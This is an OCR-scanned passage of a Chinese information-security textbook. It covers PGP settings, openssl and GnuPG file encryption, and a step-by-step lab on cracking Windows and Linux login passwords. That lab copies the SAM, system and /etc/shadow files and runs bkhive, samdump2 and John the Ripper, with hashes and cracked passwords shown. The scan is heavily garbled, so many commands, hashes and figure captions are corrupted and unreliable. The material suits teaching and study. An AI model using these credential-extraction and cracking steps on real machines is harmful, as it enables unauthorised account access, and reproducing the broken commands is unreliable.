密 钥 环 文件 备份 的 位 置 默认 在 系统 盘 的 My Document 下 ,建议 更 改 。 

(3)【 邮 件 ] 选 项 卡 如 图 3-87 所 示 ,下 面 对 各 选项 进行 解释 。 

D 默认 签名 新 消息 : 这 样 可 以 在 对 方 装 有 PGP 的 环境 下 验证 邮件 的 有 效 性 ,确认 是 否 
是 你 发 出 ,或 者 在 传输 过 程 中 是 否 被 第 三 方 自 改 。 

@ 打开 信息 时 自动 解密 / 效 验 : 选中 此 复 选 框 将 会 更 快 更 方便 地 解密 / 效 验 邮件 。 

(4)【 热 键 ] 选 项 卡 如 图 3-88 所 示 。 

(5)【 服 务 器 选项 卡 如 图 3-89 所 示 。 

(6) CA 选项 卡 如 图 3-90 所 示 。 
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P6P 271 


at [me [essa [5m ?crdisk| 


DERRAME 
DISP BO 
DEUS BC) 
DIFERAN BEAR) 
DINER SRSRSESEBU 
回答 名 的 信息 目 动 执行 
anam 四 ] 
注意 ， 尽 管 已 有 所 有 插件 ,有 此 大 项 可 能 依 类 不 可 使 用 ， 


Cw] 
图 3-87 【邮件 3 选项 卡 


P6P 选项 


[awe [fh [masc [aa reae] 


[ma ase C 
LI RSHOPTRPGPdsHU) Cir hit EU 

Less 
口 签名 当前 窗口 3 Cs 
Omt gin [cul Shift e c 
ONE e 20326 9C) SEENEN] 


图 3-88 【 热 键 ] 选 项 卡 


TER | 文件 [ase [uem [HE [ck [em [real 


服务 器 LINE! 
d 1dap://keyserver. pep. con. o 
M laap:// europe. keys. pep. con:11310 


在 服务 器 上 同步 
E EAD] 
口 签名 密 钢 (35) 
口 附加 的 姓名 /照片 / 庚 除 令 {D) 


图 3-89 【服务 器 3 选项 卡 


第 3 章 ”密码 技术 


证 书 授权 鉴定 


El 


URL: 


MRH URL): 


图 3-90 CA 选项 卡 


(7)【 高 级 选项 卡 如 图 3-91 所 示 。 选 中 [在 PGPkeys 关闭 时 自动 密 钥 对 备份 ] 复 选 框 。 


建议 不 要 选中 [自动 检查 更 新 ] 复 选 框 。 


[WA | 文件 | 邮件 jug | 服务 器 | CA 


[S [popdisk 


mE 
首选 算法 (p); 
允许 算法 
AES CAST TripleDES. 
信任 模型 
口 显示 恪 界 有 效 性 级 别 (D) 
口 视 属 界 有 效 密 钥 为 无 效 (MW) 
在 加 密 密 钥 有 ADK 时 警 省 (K) 


ARN) 
E3 * 


回 在 pGpkeys 关闭 时 自动 密 钢 对 备份 .B) 
C 备份 到 密 钥 环 文 件 夹 人) 
O 〇 备份 到): [ 


EE 下 


Dpea Twofish 


导出 格式 
Ošs 
ORLO 


软件 更 新 
L1 自动 检查 更 新 (H) 


图 3-91 【高 级 选项 卡 


(8) PGPdisk 选项 卡 如 图 3-92 所 示 ,下 面 对 各 选项 进行 解释 。 
(D 允许 强制 反 装 配 PGPdisk 打开 的 文件 : 不 选 此 复 选 框 时 ,如 果 PGPdisk 卷 中 有 打开 
的 文件 , PGPdisk 卷 就 无 法 反 装配 ; 选 中 此 复 选 框 ,将 强制 反 装 配 PGPdisk 卷 ,不 管 在 


PGPdisk 卷 中 是 否 有 打开 的 文件 。 


© 自动 反 装配 : 建议 选中 此 复 选 框 ,并 设 定时 间 , 在 未 使 用 的 时 候 自动 进行 反 装配 ,但 
是 如 果 PGPdisk 卷 中 有 打开 的 文件 ,就 不 能 自动 进行 反 装配 了 。 
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ÆN 


TU | 文件 [ae ae [Besala 上 高 级 | Pcpdisk 
反 装 配 选 项 
© CIESSEBIE AERE AE 


自动 反 装 配 选 项 


回 自动 皮 装 配 , 如 果 在 |15 T| 分 钟 后 仍 为 静止 状态 


在 计算 机 进入 睡 银 状 关 时 自动 反 装 配 (5) 
口 防止 在 PGPdisks 没 有 反 装 配 前 进入 休眠 状态 (P) 


图 3-92 PGPdisk 选项 卡 


3.3 用 户 密 码 的 破解 
3.3.1 实例 : 破解 Windows 用 户 密码 


删除 Windows 登录 密码 的 一 种 简单 的 方法 是 使 用 Windows 安装 盘 ( 启 动 界 面 中 应 该 
包含 删除 Windows 登录 密码 之 类 的 选项 ) ,启动 


界面 如 图 3-93 所 示 ,执行 [6] 即 可 。 FERE Win2003 SP2 安装 版 
下 面 介 绍 破解 Windows 登录 密码 的 方法 。 [1] 安装 Win2003 SP2 
~ ^ vp [2] 安装 Win2003 SP2 with SATA 
操作 系统 为 : RHEL/CentOS/Fedora。 DT 
到 网 站 下 载 john-1. 7. 2. tar. gz、bkhive-1. 1. [4 运行 Ghost 11 备份 /还 原 


[5] 深山 红叶 & YImF DOS IRE 
] I6] 清除 Windows 登录 密码 


文件 放 在 Linux 桌面 上 。 将 Windows 系统 C:\ IH) 硬盘 启动 计算 机 

windows system32 V config \ 中 的 两 个 文件 : 11 iat s 4 

SAM 和 system 复制 到 Linux 桌面 上 。 图 3-93  Win2003 安装 盘 启 动 界面 
然后 在 终端 窗口 执行 如 下 命令 。 


1. tar. gz 和 samdump2-1. 1. 1. tar. gz。 将 这 3 


1. 解压 缩 bkhive-1.1.1.tar.gz 


[root@ localhost Desktop]# tar xzvf bkhive- 1.1.1.tar.gz 
[root localhost Desktop]# cd bkhive- 1.1.1 


2. 编译 bkhive 


[root localhost bkhive- 1.1.1]4 make 


用 bkhive 命令 从 system 文件 生成 一 个 system. txt 文件 : 
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root@ localhost bkhive- 1.1.1]# ./bkhive ../system ../system.txt 
3. 解压 缩 samdump2-1. 1. 1. tar. gz 


root@ localhost Desktop]£ tar xzvf samdump?- 1.1.1.tar.gz 
root@ localhost Desktop] cd samdump?- 1.1.1 


4. 编译 samdump2 


root localhost samimp?-1.1.1)$ make 
5. 提取 账号 信息 


用 samdump2 命令 从 system. txt 文件 和 sam 文件 生成 一 个 passwd_hashes. txt 文件 ， 
passwd_hashes. txt 文件 的 内 容 就 是 最 终 要 被 破解 的 用 户 账号 信息 。 


[root@ localhost samdump?- 1.1.1]# ./samdump? ../sam ../system.txt > ../passwd hashes.txt 
passwd hashes. txt 文件 的 内 容 如 下 : 


6. 使 用 john 破解 Windows 用 户 密码 


[root@ localhost samdump?- 1.1.1]# od .. 

[root@ localhost Desktop] tar xzvf john- 1.7.5.tar.gz 

[root@ localhost Desktop]# cd john- 1.7.5/src 

[root@ localhost src]# make clean generic 

[root@ localhost src]# od ../run 

[root localhost run]t ./jchn - - incremental:Alpha ../../passw hashes.txt 


在 图 3-94 中 ,使 用 第 1 行 的 命令 对 passwd | hashes. txt 文件 进行 解密 ,两 秒 钟 就 将 
administrator 和 ztguang 用 户 的 密码 破解 出 来 了 。 
和 kk 


XUHD RC HEV SAD HED MOU 
[rootelocalhost run]# ./john —incremental:Alpha ../../passwd hashes.txt(]) 
Loaded 2 password hashes with no different salts 

Warning: MaxLen = 8 is too large for the current hash type, reduced to 7 
ASDFG (ztg) 

QWERT (Administor) 

guesses: 2 time: 0:00:00:29 c/s: 2620K trying: QWENK — QWERB 
[rootelocalhost run]& ./john —incremental:Alpha ../../passwd hashes.txt(2) 
No password hashes loaded 

[rootelocalhost run]f rm john.pot G) 
rm: 是 否 删除 一 般 文件 john.pot ? y 

[rootelocalhost run]# ./john —incremental:Alpha ../../passwd hashes.txt(4) 
Loaded 2 password hashes with no different salts (LM DES [32/32 BS]) 


Warning: MaxLen = 8 is too large for the current hash type, reduced to 7 


zn] 


ASDFG (ztg) 
QWERT T 


guesses: 2 time: c/s: 2079K trying: QWENK — QWERB 


[rootelocalhost run]é J 


图 3-94 使 用 john 破解 Windows 用 户 密码 
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第 2 行 再 次 执行 前 面 的 命令 对 passwd_hashes. txt 文件 进行 解密 ,给 出 了 “No 
password hashes loaded” 的 提示 ,原因 在 于 已 经 被 eS 
破解 的 密码 会 被 保存 在 john. pot 文件 中 ,这 样 避免 | xe ss) sav S0 nsw weno) 

了 重复 性 的 工作 ,john. pot 文件 的 内 容 如 图 3-95 所 [rootelocalhost run]# cat john.pot | 
上 


SLMSe3f4e1bd22b5037e : ASDFG 
示 。 执 行 第 3 行 的 命令 将 john. pot 文件 删除 ,再 次 |8LM$5422a4cdb0f1lc794:QWERT 


[rootelocalhost run]# 


执行 第 4 行 的 命令 ,结果 如 图 3-94 所 示 。 
图 3-05 ”被 破解 的 密码 


3.3.2 实例 : WERE Linux 用 户 密 码 


1. 添加 Linux 用 户 


[root@ localhost ~ ]# useradd Root 
[root localhost ~ ]# passwd Root 
Changing password for user Foot. 


新 的 UNIX HA; 


[root@ localhost ~ ]# useradd admin 
[root localhost ~ ]# passwd admin 
Changing password for user admin. 


新 的 UNIX OS: 
2. 获得 密码 信息 
将 如 下 两 行 信息 (位 于 /etc/shadow 文件 中 ) 存 入/root/Desktop/shadow 文件 。 


Root:$ 1$ LjeDon33$ j . 1QUnEDjM&ÆhacYD10N00:14763:0:99999:7: : : 
admin:$ 1$ kpNKIGqD$ iM5gZs712xgXcrZw/Iost1:14763:0:99999:7: : : 


3. 改变 文件 /root/Desktop/shadow 的 权限 为 只 允许 管理 员 访 问 该 文件 
[root& localhost Desktop]# chmod 700 shadow 
4. 使 用 john 破解 Linux 用 户 密 码 


下 面 使 用 密码 词典 来 破解 Linux 用 户 密 码 ,password. lst 文件 是 密码 词典 ,包含 可 能 的 
用 户 密码 ,执行 如 图 3-96 所 示 的 命令 (. /john w: password. Ist ../../shadow), 从 结果 可 
知 没有 破解 成 功 , 原 因 在 于 密码 词典 不 够 大 。 


rootGlocalhost -/Desktop/john-1.7 5/run 

XU) MBO SEV AO FIO RMH 

[rootelocalhost run]# ./john —w:password.lst ../../shadow f 
tj 


Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/32 X2]) 
guesses: 0 time: 0:00:00:02 100% c/s: 2993 trying: 112233 - hallo 
[rootelocalhost run]# Bi 


图 3-96 破解 失败 


扩充 password. lst 文件 ,添加 更 多 的 可 能 的 用 户 密码 (本 实验 在 该 文件 最 后 添加 了 两 
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个 密码 : verygood dogcat) ,执行 命令 . /john-w: password. lst . . /../shadow, 如 图 3-97 所 
示 , 从 结果 可 知 破解 成 功 。 由 此 可 知 ,用 此 种 方法 时 ,关键 要 有 大 的 密码 词典 ,不 过 密码 词典 
越 大 ,破解 时 用 的 时 间 越 多 。 


[rootelocalhost run]# ./john —w:password.lst ../../shadow 

Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/32 X2]) 
dogcat (admin) 

verygood (Root) 

guesses: 2 time: 0:00:00:02 100% c/s: 3038 trying: verygood - dogcat 
[root@localhost run]# 


图 3-97 破解 成 功 


破解 成 功 后 john. pot 文件 的 内 容 为 如 下 所 示 : 


$ IM$ e3f4elbd22b5037e:RSDEG 

$ IM$ 5422a4cdb0flc794:QREFT 

$ 1$ JENKKG3dDS iM5gZs712xgXcrZw/Iostl:dogcat 

$ 1$ LjeDonGG$ j .1QUnEDjM&EhacYD10NO0: verygood 


3.3.3 密码 破解 工具 John the Ripper 


1. John the Ripper 简介 


John the Ripper 是 用 于 在 已 知 密 文 的 情况 下 尝试 破解 出 明文 的 破解 密码 工具 软件 E 
要 支持 对 DES, MD5 两 种 加 密 方式 的 密 文 进行 破解 工作 。 它 可 以 工作 于 多 种 不 同 的 机 型 以 
及 多 种 不 同 的 操作 系统 之 下 。 该 软件 的 下 载 网 址 为 http://www. openwall. com/john/。 


2. 语法 
命令 行 语法 格式 : john [- 选 项 ] [密码 文件 名 ]。 常 用 选项 及 其 功能 说 明 见 表 3-1。 
表 3-1 john 选项 及 其 功能 说 明 


选 项 功 能 
一 single 使 用 Single Crack 模式 进行 解密 
—wordlist— FILE —stdin 使 用 密码 字典 的 破解 模式 
一 rules 规则 式 密码 字典 破解 模式 
—incremental[ — MODE] 增强 模式 
—external- MODE 外 部 破解 模式 
—restore[ — NAME] 继续 上 一 次 中 断 的 破解 工作 
一 show 显示 已 经 破解 的 密码 
一 test 用 来 测试 所 用 计算 机 的 破解 速度 
—users— [-]LOGIN| UIDI .. . ] 只 破解 指定 用 户 或 属于 每 个 组 的 用 户 


ik. 所 有 的 选项 均 对 大 小 写 不 敏感 ,而 且 也 不 需要 全 部 输入 ,只 要 在 保证 不 与 其 他 参数 冲突 的 前 提 下 输入 即 可 ， 


如 incremental 参数 只 要 输入 一 即 可 。 
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3. 破解 模式 
破解 模式 的 说 明 见 表 3-2, 
表 3-2 破解 模式 
破解 模式 说 明 


单一 破解 模式 ,根据 用 户 名 猜测 其 可 能 的 密码 ,需要 人 为 定义 相应 的 模式 内 容 。 
Single Crack 模式 其 模式 的 定义 在 john. conf 文件 (Windows 中 是 john. ini 文件 ) 中 的 [List. Rules: 
Single] 部 分 


这 是 最 简单 的 破解 模式 ,只 需 指定 一 个 密码 词典 文件 ,然后 使 用 规则 化 的 方式 让 
密码 词典 模式 这 些 规则 自动 地 作用 在 每 个 从 密码 词典 文件 中 读 入 的 单词 二。 规则 化 的 方式 是 
用 来 修正 每 个 读 人 的 单词 的 


这 是 功能 最 强大 的 破解 模式 ,尝试 将 所 有 可 能 的 字符 组 合作 为 密码 。 要 使 用 这 
增强 模式 个 破解 模式 ,需要 指定 破解 模式 的 一 些 参数 ,比如 密码 的 长 度 . 字 元 集 等 ,这 些 参 
数 在 john. conf 文件 (Windows 中 是 john. ini 文件 ) 中 的 [Incremental: 一 mode 二 ] 
段 内 ,过 mode> 可 以 任意 命名 ,这 是 在 执行 John 时 命令 行 中 指定 的 名 称 


在 使 用 John 的 时 候 用 户 可 以 定义 一 些 扩充 的 破解 模式 。 要 在 john. conf 文件 
(Windows 中 是 john. ini 文件 ) 中 的 [List External: 一 mode 二 ] 一 节 中 指定 ， 
扩充 模式 去 mode> 是 所 指定 的 模式 名 称 。 这 段 中 必须 包含 一 些 John 尝试 要 产生 的 字典 
的 功能 。 这 些 功 能 包含 一 些 使 用 C 语言 编写 的 功能 函数 , 它 会 自动 在 John 执行 
前 编译 


4. john. conf 文件 


可 以 通过 编辑 john. conf 文件 来 改变 John the Ripper 的 破解 行为 和 方式 。 

john. conf 文件 由 许多 段 组 成 ,每 一 个 段 的 开始 是 本 段 的 名 称 , 段 名 由 方 括号 括 起 来 ,每 
一 个 段 中 内 含 了 指定 的 一 些 选项 ,在 行 前 有 “# ?或 “;”, 表 示 这 一 行为 注释 。 

CD 一 般 选 项 。 预 设 的 一 些 命令 行 选项 放 在 LOptions] 段 中 ,该 段 中 选项 及 其 功能 说 明 


见 表 3-3。 
表 3-3 [Options ] 段 中 选项 及 其 功能 说 明 
选 项 功 能 
di 设 定 字典 档 档 名 ,这 会 自动 虚拟 成 正 使 用 的 破解 模式 是 字典 档 模式 ,而 不 需要 再 加 


上 -wordlist 这 个 选项 


当 系 统 找到 密码 时 会 发 出 “ 哗 " 声 ,或 是 在 一 些 要 选择 (Yes/No) 的 时 候 也 会 发 出 声 
Beep 来 提醒 。 另 一 组 相反 的 选项 为 -quiet, 它 不 会 让 计算 机 发 出 声响 ,所 以 最 好 先 指定 
Beep, 当 需要 让 计算 机 安静 时 在 命令 行使 用 -quiet 选项 即 可 


(2) 增强 破解 模式 的 参数 。 在 [Incremental: 二 mode 记 ] 段 中 定义 增强 模式 的 参数 ， 
二 mode 二 是 自己 指定 的 段 的 名 称 。 有 一 些 已 经 预 设 的 增强 模式 的 选项 及 其 功能 说 明 见 
表 3-4。 
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3 3-4 [Incremental] 段 中 选项 及 其 功能 说 明 


选 项 功 能 

CharCount 限制 不 同 字 元 使 用 时 的 字数 ,让 John 运行 之 初 就 可 以 早 一 点 尝试 长 串 的 密码 
MinLen 最 小 的 密码 字 串 长 度 

MaxLen 最 大 的 密码 字 串 长 度 

File 外 部 字 元 集 文件 名 , 设 定 该 参数 将 取消 在 配置 文件 中 指定 的 字 元 集 

5. 使 用 举例 


使 用 进行 密码 破解 的 例子 及 其 说 明 见 表 3-5. 


john 
) john 


表 3-5 密码 破解 的 例子 及 其 说 明 


-single passwd. txt 
-si passwd. txt 


使 用 Single Crack 模式 破解 密码 文件 passwd. txt, 第 二 条 命令 的 选项 使 用 了 简写 形式 


john 
2 john 


-single passwdl. txt passwd2. txt passwd3. txt 
-single passwd?. txt 


一 次 破解 多 个 密码 文件 


john 
john 
john 


-w:words.lst passwd. txt 
-w:words,lst -rules passwd. txt 
-w:words,lst -rules  passwd?. txt 


指定 一 个 密码 词典 文件 ,并 且 使 用 规则 化 的 方式 


john -i passwd. txt 

4 
使 用 增强 模式 ,尝试 将 所 有 可 能 的 字符 组 合作 为 密码 
john -i:Alpha passwd. txt 

5 


使 用 增强 模式 ,尝试 将 除 大 写字 母 的 所 有 可 能 的 字符 组 合作 为 密码 


3.3.4 用 户 密码 的 保护 


本 节 介 绍 的 用 户 密 码 的 破解 方法 ,如 要 成 功 ,前 提 条 件 是 : 或 者 接触 到 物理 计算 机 ,或 
者 获得 密码 文件 (Windows 系统 的 SAM 和 system 文件 .Linux 系统 的 /etc/shadow 文件 ) 。 
如 果 亚 意 者 能 够 接触 到 您 的 物理 计算 机 ,任何 安全 都 无 从 谈 起 。 因 为 ,针对 本 节 介 绍 的 密码 
破解 方法 ,用 户 密码 的 保护 重点 应 该 放 在 密码 文件 (Windows 系统 的 SAM 和 system 文件 ， 
Linux 系统 的 /etc/shadow 文件 ) 的 保护 上 ,密码 文件 的 保护 又 涉及 网 络 安全 技术 ,请 读者 参 
考 第 5 章 。 另 外 ,用 户 密码 的 设置 一 定 要 足够 复杂 ,即使 恶意 者 获得 了 密码 文件 ,也 会 增加 


破解 的 难度 。 


ey 
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3.4 文件 加 密 


3.4.1 实例 : 用 对 称 加 密 算法 加 密 文件 


可 以 用 openssl 进行 文件 加 密 。 该 方法 没有 创建 密 钥 的 过 程 , 比 gpg 加 密 方法 简单 。 

将 密 文 发 给 接收 方 后 ,只 要 接收 方 知道 加 密 的 算法 和 口令 ,就 可 以 得 到 明文 。 

openssl 支持 的 加 密 算 法 很 多 ,包括 : bf, cast, des, des3, idea, rc2,rc5 等 及 以 上 各 种 的 
变 体 ,具体 可 参阅 相关 文档 。 

本 实例 对 文件 的 加 密 和 解密 在 同一 台 计 算 机 上 进行 ,如 图 3-98 所 示 。 


XRO MAO REV HAD BED MOHD 
[rootelocalhost Desktop]? cat openssl temp.txt 下 
一 | 被 加 密 前 的 明文 | 


openssl jia jie mi shi van!!! 
[rootelocalhost Desktop] openssl enc -des -e -a -in openssl temp.txt -out openssl temp.txt.enc 
enter des-cbc encryption password: 1 

Verifying — enter des-cbc encryption password: 发 送 方 执行 的 命令 


[rootelocalhost Desktop]# cat openssl temp.txt.enc 
WU2FsdGVkXI 9i u4N£C9d1 I9RI21 T JwnpBwYUPKzxPc2/ IhtBOEf LwW1 Ka YOnESORY 
[rootelocalhost Desktop]# openssl enc -des -d -a -in openssl temp.txt.enc -out openssl temp2.txt 


enter des-cbc decryption password: = 
[rootelocalhost Desktop]# cat openssl temp2.txt 接收 方 执行 的 命令 
openssl jia jie mi shi yan!!! : 

被 解密 后 的 明文 


[rootelocalhost Desktop] lj 


图 3-98 用 openssl 加 密 、 解 密 文件 


1. 发 送 方 加 密 一 个 文件 

发 送 方 执 行 如 下 命令 : 

openssl enc - œs -e -a -in apenssl temp.txt -out openssl temp.txt.enc 

对 明文 openssl, temp. txt 加 密 , 生 成 加 密 文件 openssl. temp. txt. enc。 以 上 命令 行 各 
参数 含义 解释 如 下 。 

enc; 使 用 的 算法 。 

-des: 具体 使 用 的 算法 。 

-e: 表示 加 密 。 

-a: 使 用 ASCII 进行 编码 。 

-in: 要 加 密 的 文件 名 。 

-out: 加 密 后 的 文件 名 。 


2. 接收 方 解 密 密 文 

接收 方 执行 如 下 命令 : 

apenssl enc -des -d -a - in apenssl. temp.txt.enc - out openssl tempo.txt 

XÆ XC openssl. temp. txt. enc 解密 ,生成 明文 文件 openssl. temp2. txts -d 参数 解释 如 
下 ,其 余 参数 同上 。 
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-d: 表示 解密 。 
3.4.2 对称 加 密 算法 


对 称 加 密 算法 又 称 为 传统 密码 算法 ,或 单 密 钥 算法 , 它 采 用 了 对 称 密码 编码 技术 ,其 特 
点 是 文件 加 密 和 解密 使 用 相同 的 密 钥 。 使 用 对 称 加 密 算 法 简单 快捷 , 密 钥 较 短 ,并且 破译 难 
度 很 大 。 数 据 加 密 标准 (DES.Data Encryption Standard) 是 对 称 加 密 算法 的 典型 代表 ,除了 
DES, 另 一 个 对 称 加 密 算法 是 国际 数据 加 密 算 法 (IDEA) , 它 比 DES 的 加 密 性 更 好 ,并 且 对 
计算 机 功能 要 求 不 高 。IDEA 加 密 标准 由 PGP(Pretty Good Privacy) 系 统 使 用 。 

对 称 加 密 算法 的 安全 性 依赖 于 密 钥 的 安全 性 ,泄露 密 钥 就 意味 着 任何 人 都 能 对 密 文 进 
行 解密 。 因 此 必须 通过 安全 可 靠 的 途径 (如 信使 递送 ) 将 密 钥 送 至 接收 端 。 这 种 如 何 将 密 钥 
安全 可 靠 地 分 配给 通信 对 方 ,包括 密 钥 产生 分配、 存储 、 销 毁 等 多 方面 的 问题 统称 为 密 钥 管 
理 (Key Management ,这 是 影响 系统 安全 的 关键 因素 。 

对 称 加 密 算法 分 为 以 下 两 类 。 

一 类 是 序列 算法 或 序列 密码 , 它 一 次 只 对 明文 中 的 单个 比特 (有 了 时 对 字 节 ) 进 行 运算 。 

另 一 类 是 分 组 算法 或 分 组 密码 , 它 对 明文 中 的 一 组 比特 进行 运算 ,这 些 比特 组 称 为 
分 组 。 

现代 计算 机 密码 算法 的 典型 分 组 长 度 是 64bit, 该 长 度 大 到 足以 防止 破译 ,而 又 小 到 足 
以 方便 使 用 。 

综 上 所 述 , 对 称 加 密 算法 的 主要 优点 是 运算 速度 快 ,硬件 容易 实现 ;缺点 是 密 钥 的 分 发 
与 管理 比较 困难 ,容易 被 窃取 ,另外 , 当 通 信 的 人 数 增加 时 , 密 钥 数目 也 会 急剧 增加 。 例 如 ， 
在 拥有 众多 用 户 的 网 络 环境 中 使 个 用 户 之 间 相互 进行 保密 通信 ,车 使 用 同一 个 对 称 密 钥 ， 
一 旦 密 钥 被 破解 ,整个 系统 就 会 崩溃; 若 使 用 不 同 的 对 称 密 钥 , 则 密 钥 的 个 数 几 乎 与 通信 人 
数 成 正比 (需要 nX (一 1) 个 密 钥 ) 。 由 此 可 见 , 若 采 用 对 称 密 钥 , 大 系统 的 密 钥 管理 是 不 容 
易 实 现 的 。 


1. 数据 加 密 标准 DES 算法 


DES 算法 的 发 明 人 是 IBM 公司 的 W. Tuchman 和 C. Meyer, F 1971—1972 年 研制 成 
功 。 美 国 商业 部 的 国家 标准 局 NBS 于 1973 年 5 月 和 1974 年 8 月 两 次 发 布 通告 ,公开 征求 
用 于 电子 计算 机 的 加 密 算 法 ,经 评选 ,从 一 大 批 算法 中 采纳 了 IBM 的 LUCIFER 方案 ,该 算 
法 于 1976 年 11 月 被 美国 政府 采用 ,DES 随后 被 美国 国家 标准 局 和 美国 国家 标准 协会 
(American National Standard Institute, ANSI) 承认。1977 年 1 月 以 数据 加 密 标准 DES 
(Data Encryption Standard) 的 名 称 正式 向 社会 公布 .并 于 1977 年 7 月 15 日 起 生效 。 


2. 国际 数据 加 密 算 法 IDEA 


近年 来 ,新 的 分 组 加 密 算 法 不 断 出 现 , IDEA 就 是 其 中 的 杰出 代表 。IDEA 是 
International Data Encryption Algorithm 的 缩写 , 即 国际 数据 加 密 算法 。 它 是 根据 中 国学 
者 朱 学 嘉 博士 与 著名 密码 学 家 James Massey 于 1990 年 联合 提出 的 建议 标准 算法 PES 
(Proposed Encryption Standard) 改 进而 来 的 。 它 的 明文 与 密 文 块 都 是 64bit, 密 钥 长 度 为 
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128bit, 作 为 单 钥 体制 的 密码 ,其 加 密 与 解密 过 程 相似 ,只 是 密 钥 存在 差异 ,IDEA 无 论 是 采 
用 软件 还 是 硬件 实现 都 比较 容易 ,而 且 加 密 、 解 密 的 速度 很 快 。 

IDEA 算法 是 面向 块 的 单 钥 密 码 算法 , 它 的 安全 性 与 DES 类 似 ,不 在 于 算法 的 保密 ,而 
是 密 钥 的 安全 性 。 


3.4.8 实例: 用 非 对 称 加 密 算法 加 密 文件 


1. 用 GnuPG 加 密 文 件 


GnuPG(Gnu Privacy Guard, Gnu 隐私 保镖 ) 软 件 包 的 名 称 是 gpg。 

(1) 创建 密 钥 对 

创建 一 个 用 来 发 送 加 密 数 据 和 进行 解密 数据 的 密 钥 。 执 行 gpg 命令 ,会 在 主 目录 下 创 
建 一 个 . gnupg 子 目 录 。 在 该 子 目录 里 面 有 一 个 gpg. conf 的 配置 文件 , 它 里 面 是 gpg 工具 
的 各 种 选项 及 其 默认 设置 值 。 

执行 gpg --gen-key 命令 ,生成 密 钥 ,如 图 3-99 所 示 。 


[rootelocalhost 7]f goe 一 Ken-key 

mpg (GnuPG) 1.4.5; Copyright (C) 2006 Free Software Foundation, Inc. 
This program comes with ABSOLUTELY NO WARRANTY. 

This is free software, and you are welcome to redistribute it 
under certain conditions. See the file COPYING for details. 


= ARIK Jroot/.gnubg/secring.gDg' 已 建立 
MÈI Jroot/. ir gpg 已 建立 
prr 4m 6 ddnde 
(1) DSA 和 ElGamal Io 
(2) DSA( 仅 用 于 签名 ) 
(5) RSA (RN TEX) 
的 选择 


您 
DSA Rat AA 1024 位 。 
ELG-E MERAL 1024 位 与 4096 位 之 间 。 
ENEH E ADIRE ED nu 
您 所 要 求 的 karta 1024 
请 设 定 这 把 密 讽 的 有 效 期 限 。 


CTE 
PAL Rit 
AERA TUA 


图 3-99 创建 密 钥 (1) 


在 图 3-99 中 ,确认 选择 无 误 后 ,在 最 后 一 行 输入 y, 按 Enter f£. 

在 图 3-100 中 ,根据 提示 输入 相关 信息 。 

现在 已 经 在 . gnupg 目录 中 生成 了 一 对 密 钥 且 存 在 于 文件 中 ,进入 . gnupg 目录 进行 查 
看 ,如 图 3-101 所 示 。 

(2) 提取 公共 密 钥 

为 了 使 对 方 使 用 刚才 生成 的 公共 密 钥 ,需要 用 命令 将 公共 密 钥 提 取出 来 ,发 给 对 方 。 执 
行 命令 gpg —export 3FAF8118- pub. key, 将 公共 密 钥 提取 到 文件 pub. key 中 。 

(3) 对 方 收 到 公共 密 钥 

收 到 别人 的 公共 密 钥 后 ,执行 命令 gpg —import pub. key 把 这 个 公共 密 钥 放 到 自己 的 
pubring. gpg 文件 (钥匙 环 文件 ) 里 。 如 果 要 删除 对 方 公 钥 ,执行 命令 gpg —delete-secret- 
and-public-key 3FAF8118。 命 令 的 执行 如 图 3-102 所 示 。 

执行 gpg-kv 命令 查看 目前 存放 的 别人 的 公共 密 钥 ,如 图 3-103 所 示 。 


您 需要 一 个 用 户 标识 末 辩 识 您 的 密 钢 ; 本 软件 会 用 真实 姓名 、 注 释 和 电子 邮件 地 址 组 合 
成 用 户 标识 ， 如 下 所 示 


leinrich Heine (Der Dichter) <heinrichheduesseldorf.de>” 


真实 姓名 : ztg 

姓名 至 少 要 有 五 个 字符 长 

真实 姓名 : ztguang 

电子 邮件 地 址 : jsjoscpue163.com 
注释 : example 

您 选 定 了 这 个 用 户 标识 


itguang (example) <jsjoscpuel163.com>” 


更 改姓 名 (N)、 注 释 (C)、 电 子 邮 件 地 址 (E) 或 确定 (0D)/ 到 出 (Q) ? o 
您 需要 一 个 密码 未 保护 您 的 私 铀 。 


我 们 需要 生成 大 量 的 随机 字 节 。 这 个 时 候 您 可 以 多 做 些 琐事 ( 坟 是 敲打 键盘 、 移 动 

局 标 、 读 写 硬 盘 之 关 的 )， 这 会 让 随机 数字 发 生 器 有 更 好 的 机 会 获得 足够 的 箭 数 * 

TT 

+ "PUTA $ 

我 们 需要 生成 大 量 的 随机 字 节 。 这 个 是 

局 标 、 读 写 硬盘 之 类 的 ) ， ERHRRERABARRARARILUANE . 
| 

和 Aasa 

gpg: /root/.gnupg/trustdb.gpg : 建立 了 信任 度数 据 库 

mpg: 密 钢 3FAF8118 被 标记 为 绝对 信任 

公 蚀 和 私 乌 已 经 生成 并 经 签名。 


mpg: 正在 检查 信任 度数 据 库 
需要 3 NARBE 1 份 完 全 信任 ，PGP 信任 模型 
: 深度 : 0 有 效 性 : 1 已 签名 : 0 信任 度 : TET On *Om* Of ly 


BDPE 
pub, DAP ERES 2010-00- ) 标 识 ， 后 面 要 用 到 


他 指纹 = 8198 D64E 67AF 3770 8E78 7DEO BB48 A SFAF 8118 
uid ztguang (example) «jsjoscpu0163.com» 
sub — 1024g/0EAFF2FE 2010-06-03 


[rootelocalhost ~]# Bi 
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图 3-100 创建 密 钥 (2) 


[rootolocalhost “J# 11 .gnupg/ 


总 计 56 

-rw——— 1 root root 9207 06-03 10:22 gpg.conf 
-rw 一 一 -一 1 root root 912 06-03 10:25 pubring.gDg 
-rw 一 一 -一 1 root root 912 06-03 1 pubring.gpg" 
-rw 一 一 -一 1 root root 600 06-03 10:25 random seed 


—rw———-—- | root root 1050 06-03 125 secring.EpE 
-rw 一 一- 一 1 root root 1280 06-03 10:25 trustdb.gpg 
[rootelocalhost 7]& li 


图 3-101 /root/. gnupg 目录 内 容 


[rootelocalhost Desktop]f gpg —import pub.key 

gpg: $4 3FAF8118 : A4 Ztguang (example) «jsjoscpuel63.com»" $A 
gDB: 合计 被 处 理 的 数量 : 1 

epg: 已 导入 :1 

[rootelocalhost Desktop]# —delete-secret-and-public-key 3FAF8118 
gng (GnuPG) 1.4.5: Copyright (C) 2006 Free Software Foundation, Inc. 
This program comes with ABSOLUTELY NO WARRANTY. 

This is free software, and you are welcome to redistribute it 

under certain conditions. See the file COPYING for details. 


pub 1024D/3FAFB118 2010-06-03 ztguang (example) «jsjoscpuel63.com» 


要 从 铀 是 环 里 删除 这 把 密 铜 吗 ? (y/N)y 
[rootelocalhost Desktop]# 


图 3-102 保存 别人 的 公共 密 钥 


[rootolocalhost Desktop]# gpg -kv 
